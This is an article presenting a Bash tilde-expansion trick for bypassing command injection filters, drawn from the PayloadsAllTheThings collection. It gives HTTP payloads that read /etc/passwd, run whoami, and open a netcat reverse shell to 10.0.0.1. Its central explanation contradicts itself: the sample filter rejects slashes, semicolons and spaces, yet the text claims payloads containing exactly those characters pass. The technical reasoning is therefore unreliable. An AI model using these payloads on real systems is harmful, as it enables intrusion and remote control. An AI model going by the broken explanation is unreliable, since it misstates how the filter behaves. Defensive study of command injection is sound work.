# Command Injection Filter Bypass Using Tilde Expansion: Exploiting Bash Path Expansion

> Bypass command injection filters with Bash tilde expansion. Learn how to exploit path expansion in your security testing and prevent vulnerabilities.

- Repository: [Swissky/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- Tags: how-to-guide
- Published: 2026-03-01

---

**Bash tilde expansion converts patterns like `~+` into absolute paths containing slashes after input validation filters have already approved the string, allowing attackers to inject forbidden characters and execute arbitrary commands.**

Command injection vulnerabilities remain a critical threat when applications pass user input directly to system shells. The **swisskyrepo/PayloadsAllTheThings** repository documents a sophisticated bypass technique that exploits Bash's tilde expansion mechanism to circumvent filters designed to block dangerous characters. This method specifically targets naive validation logic that inspects input for slashes or spaces before the shell performs its own internal expansions.

## How Tilde Expansion Subverts Input Validation

Bash performs **tilde expansion** on special tilde-prefixes immediately before executing a command, converting them into absolute directory paths. When applications sanitize input for path separators like `/` but allow tilde characters to pass through, the subsequent shell expansion reintroduces those very characters into the executed command string.

### The Bash Expansion Mechanism

The shell recognizes several tilde prefixes that expand to directory paths containing slashes:

| Prefix | Expansion Target | Example Result |
|--------|------------------|----------------|
| `~` | Current user's home directory (`$HOME`) | `/home/user` |
| `~+` | Current working directory (`$PWD`) | `/var/www/html` |
| `~-` | Previous working directory (`$OLDPWD`) | `/tmp` |

These expansions occur **after** application-level filters inspect the raw input but **before** the operating system executes the final command. An attacker supplying `~+` bypasses a filter checking for `/` because the raw string contains only a tilde and plus sign. Once Bash processes the command, the expansion injects the full absolute path—complete with forbidden slash characters—into the execution context.

### Why Simple Filters Fail

Consider a vulnerable Python application that rejects inputs containing spaces or slashes:

```python
import os
import re

user_input = request.GET.get("file")
if re.search(r'[ /;]', user_input):
    raise ValueError("Invalid characters detected")

os.system("cat " + user_input)

```

If the attacker submits `~+/etc/passwd`, the regex validation sees only `~+/etc/passwd` without spaces or literal slashes in the tilde prefix. The filter allows the payload to pass. When `os.system()` invokes Bash, the shell expands `~+` to `/var/www/html`, transforming the final executed command into:

```bash
cat /var/www/html/etc/passwd

```

This timing differential between filter execution and shell expansion creates the vulnerability window that tilde expansion exploits.

## Practical Exploitation Scenarios

Attackers leverage tilde expansion to achieve three primary objectives: accessing arbitrary files, chaining additional commands, and bypassing character-specific restrictions.

### Reading Sensitive Files via Path Injection

When the working directory is predictable or controllable, tilde expansion constructs valid absolute paths to sensitive system files. The payload `~+/etc/passwd` effectively prepends the current working directory to the target file path.

```http
GET /vuln?file=~+/etc/passwd HTTP/1.1
Host: vulnerable.example

```

If the application runs from `/var/www/html`, Bash executes:

```bash
cat /var/www/html/etc/passwd

```

While this specific example attempts to read a non-existent nested path, the technique succeeds when combined with directory traversal sequences or when the working directory itself is the root filesystem.

### Command Chaining After Expansion

Tilde expansion becomes lethal when combined with command delimiters. By terminating the first command with a semicolon immediately after the expanded path, attackers inject arbitrary secondary commands that execute with the application's privileges.

```http
GET /vuln?file=~+;whoami HTTP/1.1
Host: vulnerable.example

```

The resulting shell execution becomes:

```bash
cat /var/www/html;whoami

```

The `cat` command processes the directory path (typically resulting in an error), and the shell immediately executes `whoami`, revealing the effective user identity of the compromised service.

### Bypassing Space and Slash Restrictions

Web Application Firewalls (WAFs) and input filters often strictly prohibit spaces and forward slashes. Since `~+` contains neither character in its raw form, it passes validation while still providing the path separator required for command injection via expansion.

```http
GET /vuln?file=~+;nc%20-e%20/bin/sh%2010.0.0.1%2012345 HTTP/1.1
Host: vulnerable.example

```

After URL decoding and Bash expansion, the command resolves to:

```bash
cat /var/www/html;nc -e /bin/sh 10.0.0.1 12345

```

This spawns a reverse shell despite the original payload containing no literal spaces or slashes before shell processing.

## Source Reference in PayloadsAllTheThings

The **swisskyrepo/PayloadsAllTheThings** repository catalogs this technique in the Command Injection collection. Specifically, the `Command Injection/README.md` file contains the canonical documentation for bypassing filters using tilde expansion between lines 22 and 28.

According to the repository source code, the technique is listed under filter bypass methods alongside other shell expansion tricks. The documentation emphasizes that `~+` and `~-` are particularly valuable because they expand to the current and previous working directories respectively, guaranteed to contain at least one slash character in their expanded form.

Security researchers reference this file path when constructing test cases for command injection vulnerabilities:

- **File:** `Command Injection/README.md`
- **Section:** Bypass With Tilde Expansion (lines 22-28)
- **Repository:** swisskyrepo/PayloadsAllTheThings

## Summary

- **Tilde expansion** occurs after application filters but before command execution, creating a bypass window for blocked characters.
- The prefixes `~+` and `~-` expand to `$PWD` and `$OLDPWD`, injecting absolute paths containing slashes into filtered input.
- Attackers combine tilde expansion with command delimiters like `;` to execute arbitrary commands even when spaces and slashes are explicitly rejected.
- The **PayloadsAllTheThings** repository documents this technique in `Command Injection/README.md` as a standard filter evasion method.
- Proper mitigation requires sanitizing input **after** shell expansion or avoiding shell execution entirely by using parameterized APIs.

## Frequently Asked Questions

### What is tilde expansion in Bash?

Tilde expansion is a shell feature that converts specific tilde-prefixed strings into directory paths before command execution. The tilde character `~` typically expands to the current user's home directory, while `~+` expands to the current working directory and `~-` expands to the previous working directory. This expansion happens during the shell's word expansion phase, after the command line has been tokenized but before the command is actually executed.

### How does tilde expansion bypass input filters?

Input filters inspect the raw string provided by the user, often rejecting characters like `/` or `;` that indicate path traversal or command chaining. Since raw tilde patterns like `~+` contain only safe characters (tilde and plus), they pass validation. When Bash subsequently executes the command, it expands these patterns into absolute paths like `/var/www/html`, reintroducing the forbidden slash characters into the final command string that the filter never sees.

### What are common tilde expansion payloads for command injection?

The most effective payloads documented in **PayloadsAllTheThings** include `~+/etc/passwd` for file access attempts and `~+;id` for command execution. The `~+` prefix is preferred over plain `~` because it expands to the current working directory regardless of the user account running the process. For systems with strict length limits, `~-` provides similar functionality while saving one character compared to `~+`.

### How can developers prevent tilde expansion attacks?

Developers must avoid passing user input directly to shell interpreters via functions like `os.system()` or `subprocess.call()` with `shell=True`. Instead, use parameterized APIs that accept command arguments as arrays, bypassing shell expansion entirely. If shell execution is unavoidable, validate input **after** performing the expansion yourself or use strict allowlists that reject tilde characters entirely, not just the characters they might expand into.